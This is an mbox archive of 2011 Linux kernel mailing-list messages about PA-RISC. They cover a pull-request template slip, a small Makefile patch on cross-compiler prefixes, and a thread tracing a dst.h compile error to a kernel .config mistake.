X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for the 2.6.38 merge window
Date: Sun, 22 May 2011 22:01:33 +0400
Lines: 18
Approved: news@gmane.org
Message-ID: <d83c7f87-dab0-4faa-8141-8cf5b324705f@email.android.com>
References: <1306048045.4092.3.camel@mulgrave.site> <20110522175845.GA15218@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1306087334 7653 80.91.229.12 (22 May 2011 18:02:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 18:02:14 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 22 20:02:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOCyf-0001CA-Ia
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 May 2011 20:02:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751876Ab1EVSCI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 May 2011 14:02:08 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44930 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751706Ab1EVSCH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 May 2011 14:02:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 873898EE0F4;
	Sun, 22 May 2011 11:02:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6NBf0r45+qn0; Sun, 22 May 2011 11:02:07 -0700 (PDT)
Original-Received: from gprs-internet-client-10.196.sonicduo.com (unknown [83.149.9.62])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 864EF8EE0E8;
	Sun, 22 May 2011 11:02:05 -0700 (PDT)
User-Agent: K-9 Mail for Android
In-Reply-To: <20110522175845.GA15218@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3739 gmane.linux.kernel:1143898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3739>



John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:

>For 2.6.38?

Yes well as you and several others noticed I forgot to forward port the pull template.

Sorry

James
-- 
Sent from my Android phone with K-9 Mail. Please excuse my brevity and top posting.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable,gmane.linux.network
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Mon, 23 May 2011 00:29:26 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <2254093.9oQvKLogfV@donald.sf-tec.de>
References: <2612811.b2htuyZy9x@donald.sf-tec.de> <20110522143222.GB14556@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1739995.G2MFWqQSJG"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1306103391 29397 80.91.229.12 (22 May 2011 22:29:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 22:29:51 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>, stable@kernel.org,
	netdev@vger.kernel.org
To: Greg KH <greg@kroah.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 23 00:29:44 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QOH9b-0003a1-LQ
	for glk-linux-kernel-3@lo.gmane.org; Mon, 23 May 2011 00:29:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755757Ab1EVW3f (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 22 May 2011 18:29:35 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:38103 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755571Ab1EVW3e (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 22 May 2011 18:29:34 -0400
Original-Received: (qmail 14235 invoked from network); 22 May 2011 22:29:31 -0000
Original-Received: from mnhm-590c36c0.pool.mediaways.net ([::ffff:89.12.54.192] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <greg@kroah.com>; Mon, 23 May 2011 00:29:31 +0200
User-Agent: KMail/4.6 beta5 (Linux/2.6.37-12-desktop; KDE/4.6.3; i686; ; )
In-Reply-To: <20110522143222.GB14556@kroah.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1143939 gmane.linux.ports.parisc:3740 gmane.linux.kernel.stable:11399 gmane.linux.network:196463
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1143939>


--nextPart1739995.G2MFWqQSJG
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Sonntag, 22. Mai 2011, 07:32:22 schrieb Greg KH:
> On Sun, May 22, 2011 at 10:15:19AM +0200, Rolf Eike Beer wrote:
> >                  from include/net/ipv6.h:16,
> >                  from include/linux/sunrpc/clnt.h:25,
> >                  from include/linux/nfs_fs.h:50,
> > 
> >                  from init/do_mounts.c:20:
> > include/net/dst.h: In function 'dst_hold':
> > include/net/dst.h:238:2: error: size of unnamed array is negative
> > In file included from include/linux/nfs_fs.h:59:0,
> > 
> >                  from init/do_mounts.c:20:
> > include/linux/mempool.h: In function 'mempool_create_kmalloc_pool':
> > include/linux/mempool.h:58:10: warning: cast to pointer from integer of
> > different size
> > 
> > This is both in 2.6.38.6 and 2.6.39, but is not in 2.6.38.4 when
> > compiling for my C8000.
> 
> Could you bisect it down to the patch that causes the problem in
> 2.6.38.6?

I will try if I find time in the next days. Until now I can only confirm that 
2.6.38.5 builds fine.

Eike	
--nextPart1739995.G2MFWqQSJG
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3ZjkwACgkQXKSJPmm5/E4SegCgpCW43wAsqm8Yf1A3pOknddrb
1TgAoJIbSXrBWcDU5eSchkHEmZG6bqkt
=HtkC
-----END PGP SIGNATURE-----

--nextPart1739995.G2MFWqQSJG--


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Do not set CROSS_COMPILE but let CONFIG_CROSS_COMPILE
 handle it all.
Date: Tue, 24 May 2011 19:47:01 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20110524194701.6a4c1bd4@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306259708 21511 80.91.229.12 (24 May 2011 17:55:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 17:55:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 19:55:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOvot-0003u4-NU
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 19:55:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756742Ab1EXRzD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 13:55:03 -0400
Original-Received: from smtp-vbr19.xs4all.nl ([194.109.24.39]:2035 "EHLO
	smtp-vbr19.xs4all.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756344Ab1EXRzC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 13:55:02 -0400
X-Greylist: delayed 474 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 May 2011 13:55:02 EDT
Original-Received: from epia.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(authenticated bits=0)
	by smtp-vbr19.xs4all.nl (8.13.8/8.13.8) with ESMTP id p4OHl2tj071045
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 24 May 2011 19:47:06 +0200 (CEST)
	(envelope-from jer@gentoo.org)
X-Mailer: Claws Mail 3.7.9 (GTK+ 2.22.1; i686-pc-linux-gnu)
X-Virus-Scanned: by XS4ALL Virus Scanner
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3741>

Do not set CROSS_COMPILE but let CONFIG_CROSS_COMPILE handle it all.
The problem this fixes manifests itself when you try to build a 64-bit kernel
on a distro which does not provide hppa$(WIDTH)-linux-gnu- but perhaps
hppa$(WIDTH)-unknown-linux-gnu- instead, like Gentoo Linux.

Signed-off-by: Jeroen Roovers <jer@gentoo.org>
---

--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -31,16 +31,10 @@
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 WIDTH		:= 64
-CROSS_COMPILE	:= hppa64-linux-gnu-
 else # 32-bit
 WIDTH		:=
 endif
 
-# attempt to help out folks who are cross-compiling
-ifeq ($(NATIVE),1)
-CROSS_COMPILE	:= hppa$(WIDTH)-linux-
-endif

From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 20:37:49 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <2522442.xP32cQyJEX@donald.sf-tec.de>
References: <2612811.b2htuyZy9x@donald.sf-tec.de>
	<20110522143222.GB14556@kroah.com>
	<2254093.9oQvKLogfV@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============4071562325381053106=="
X-Trace: dough.gmane.org 1306262306 7006 80.91.229.12 (24 May 2011 18:38:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 18:38:26 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-kernel <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>, stable@kernel.org
To: Greg KH <greg@kroah.com>
Original-X-From: stable-bounces@linux.kernel.org Tue May 24 20:38:20 2011
Return-path: <stable-bounces@linux.kernel.org>
Envelope-to: glks-stable@lo.gmane.org
Original-Received: from hera.kernel.org ([140.211.167.34])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-bounces@linux.kernel.org>)
	id 1QOwUl-0006pc-4f
	for glks-stable@lo.gmane.org; Tue, 24 May 2011 20:38:19 +0200
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id p4OIc3nh030357;
	Tue, 24 May 2011 18:38:03 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.97 at hera.kernel.org
Original-Received: from mail.sf-mail.de (mail.sf-mail.de [62.27.20.61])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id p4OIbtxe030241
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <stable@kernel.org>; Tue, 24 May 2011 18:38:00 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.97 at hera.kernel.org
Original-Received: (qmail 13741 invoked from network); 24 May 2011 18:37:52 -0000
Original-Received: from mnhm-4d012088.pool.mediaways.net ([::ffff:77.1.32.136] HELO
	donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted)
	ESMTPSA for <greg@kroah.com>; Tue, 24 May 2011 20:37:52 +0200
User-Agent: KMail/4.6 beta5 (Linux/2.6.37-12-desktop; KDE/4.6.3; i686; ; )
In-Reply-To: <2254093.9oQvKLogfV@donald.sf-tec.de>
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,RCVD_IN_DNSWL_LOW,
	SPF_HELO_PASS autolearn=ham version=3.3.2-r929478
X-Spam-Checker-Version: SpamAssassin 3.3.2-r929478 (2010-03-31) on
	hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Tue, 24 May 2011 18:38:04 +0000 (UTC)
X-Greylist: IP, sender and recipient auto-whitelisted, not delayed by
	milter-greylist-4.2.3 (hera.kernel.org [140.211.167.34]);
	Tue, 24 May 2011 18:38:02 +0000 (UTC)
X-BeenThere: stable@linux.kernel.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: For maintainers of the stable Linux series <stable.linux.kernel.org>
List-Unsubscribe: <http://linux.kernel.org/mailman/options/stable>,
	<mailto:stable-request@linux.kernel.org?subject=unsubscribe>
List-Archive: <http://linux.kernel.org/mailman/private/stable/>
List-Post: <mailto:stable@linux.kernel.org>
List-Help: <mailto:stable-request@linux.kernel.org?subject=help>
List-Subscribe: <http://linux.kernel.org/mailman/listinfo/stable>,
	<mailto:stable-request@linux.kernel.org?subject=subscribe>
Original-Sender: stable-bounces@linux.kernel.org
Errors-To: stable-bounces@linux.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:11509 gmane.linux.network:196681 gmane.linux.kernel:1144999 gmane.linux.ports.parisc:3742
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/11509>


--===============4071562325381053106==
Content-Type: multipart/signed; boundary="nextPart3541033.Jq7cWPDluZ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit


--nextPart3541033.Jq7cWPDluZ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

I wrote:
> Am Sonntag, 22. Mai 2011, 07:32:22 schrieb Greg KH:
> > On Sun, May 22, 2011 at 10:15:19AM +0200, Rolf Eike Beer wrote:
> > >                  from include/net/ipv6.h:16,
> > >                  from
> > >                  include/linux/sunrpc/clnt.h:25,
> > >                  from include/linux/nfs_fs.h:50,
> > > 
> > >                  from init/do_mounts.c:20:
> > > include/net/dst.h: In function 'dst_hold':
> > > include/net/dst.h:238:2: error: size of unnamed array is negative
> > > In file included from include/linux/nfs_fs.h:59:0,
> > > 
> > >                  from init/do_mounts.c:20:
> > > include/linux/mempool.h: In function 'mempool_create_kmalloc_pool':
> > > include/linux/mempool.h:58:10: warning: cast to pointer from integer
> > > of
> > > different size
> > > 
> > > This is both in 2.6.38.6 and 2.6.39, but is not in 2.6.38.4 when
> > > compiling for my C8000.
> > 
> > Could you bisect it down to the patch that causes the problem in
> > 2.6.38.6?
> 
> I will try if I find time in the next days. Until now I can only confirm
> that 2.6.38.5 builds fine.

As 2.6.38.6 does if I use the correct .config. So it is an older issue which is 
not related to recent changes but likely some general HPPA breakage. We'll 
discuss the rest on linux-parisc.

Eike
--nextPart3541033.Jq7cWPDluZ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3b+v0ACgkQXKSJPmm5/E5JtwCfXbn0WubfIblCw+/NIb7z23oB
OpUAniuTRy4AShlOK718waVyBsje/CYi
=vhmF
-----END PGP SIGNATURE-----

--nextPart3541033.Jq7cWPDluZ--


--===============4071562325381053106==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
stable mailing list
stable@linux.kernel.org
http://linux.kernel.org/mailman/listinfo/stable

--===============4071562325381053106==--



From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 15:06:14 -0400
Organization: nrc.ca
Lines: 30
Approved: news@gmane.org
Message-ID: <20110524190614.GA25820@hiauly1.hia.nrc.ca>
References: <2612811.b2htuyZy9x@donald.sf-tec.de> <20110522143222.GB14556@kroah.com> <2254093.9oQvKLogfV@donald.sf-tec.de> <2522442.xP32cQyJEX@donald.sf-tec.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306263983 18288 80.91.229.12 (24 May 2011 19:06:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 19:06:23 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 21:06:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOwvp-0007wN-OL
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 21:06:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755633Ab1EXTGQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 15:06:16 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3726 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755273Ab1EXTGQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 15:06:16 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2EF674ED6; Tue, 24 May 2011 15:06:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <2522442.xP32cQyJEX@donald.sf-tec.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3743>

On Tue, 24 May 2011, Rolf Eike Beer wrote:

> As 2.6.38.6 does if I use the correct .config. So it is an older issue which is 
> not related to recent changes but likely some general HPPA breakage. We'll 
> discuss the rest on linux-parisc.

If you believe this is a compiler error, I suggest using gcc 4.5.3 or
4.6.0.

All releases prior to 4.5.2 contain bugs in delay slot optimization
resulting in incorrect register liveness.  4.3 and 4.4 were seriously
broken at -O1, and neither could bootstrap gcc at -O1.  I just completed
backporting all the reorg fixes that I am aware of, but they aren't
included in any 4.3 or 4.4 release.

It's quite possible most gcc 4.3 and 4.4 releases are miscompiled
on targets with branch delay slots.  As a side, all the fixes that I
backported were to the generic code.

I have been using 4.5.3 and haven't seen your problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 21:19:45 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <1490722.55WlhWHEVK@donald.sf-tec.de>
References: <2612811.b2htuyZy9x@donald.sf-tec.de> <2522442.xP32cQyJEX@donald.sf-tec.de> <20110524190614.GA25820@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3860264.gMPmEFgJjW"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1306264804 23936 80.91.229.12 (24 May 2011 19:20:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 19:20:04 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 21:20:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOx95-0008L1-Lp
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 21:20:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757220Ab1EXTTx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 15:19:53 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:55548 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756792Ab1EXTTw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 15:19:52 -0400
Original-Received: (qmail 26779 invoked from network); 24 May 2011 19:19:48 -0000
Original-Received: from mnhm-4d012088.pool.mediaways.net ([::ffff:77.1.32.136] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 24 May 2011 21:19:48 +0200
User-Agent: KMail/4.6 beta5 (Linux/2.6.37-12-desktop; KDE/4.6.3; i686; ; )
In-Reply-To: <20110524190614.GA25820@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3744>


--nextPart3860264.gMPmEFgJjW
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Dienstag, 24. Mai 2011, 15:06:14 schrieb John David Anglin:
> On Tue, 24 May 2011, Rolf Eike Beer wrote:
> > As 2.6.38.6 does if I use the correct .config. So it is an older issue
> > which is not related to recent changes but likely some general HPPA
> > breakage. We'll discuss the rest on linux-parisc.
> 
> If you believe this is a compiler error, I suggest using gcc 4.5.3 or
> 4.6.0.
> 
> All releases prior to 4.5.2 contain bugs in delay slot optimization
> resulting in incorrect register liveness. 

If you think of PR46915: I was the one that originally stumbled over this 
although GM took the hard work of bisecting and reporting that upstream. As I 
said before, the compiler is 4.5.2.

And: no, I don't suspect a compiler error. Only a .config screwup. I'm 
currently trying to find the culprit. Good luck it breaks rather early in the 
compile.

To reproduce try to compile for hppa64 with default .config, this seems what 
has happened to me.

Eike
--nextPart3860264.gMPmEFgJjW
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3cBNEACgkQXKSJPmm5/E5/nwCeILhDxD04+WeWHuhVlP1kko6B
o2wAoITTurBboS5m/aSq4pJEOvuDvi+a
=Z1sz
-----END PGP SIGNATURE-----

--nextPart3860264.gMPmEFgJjW--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 21:47:33 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <5635869.iT8i3v8vp8@donald.sf-tec.de>
References: <2612811.b2htuyZy9x@donald.sf-tec.de> <20110524190614.GA25820@hiauly1.hia.nrc.ca> <1490722.55WlhWHEVK@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2210321.MBAOYiGsuh"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1306266466 2685 80.91.229.12 (24 May 2011 19:47:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 19:47:46 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 21:47:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOxZu-0007fv-8U
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 21:47:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755355Ab1EXTrl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 15:47:41 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:50979 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753080Ab1EXTrl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 15:47:41 -0400
Original-Received: (qmail 2838 invoked from network); 24 May 2011 19:47:36 -0000
Original-Received: from mnhm-4d012088.pool.mediaways.net ([::ffff:77.1.32.136] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 24 May 2011 21:47:36 +0200
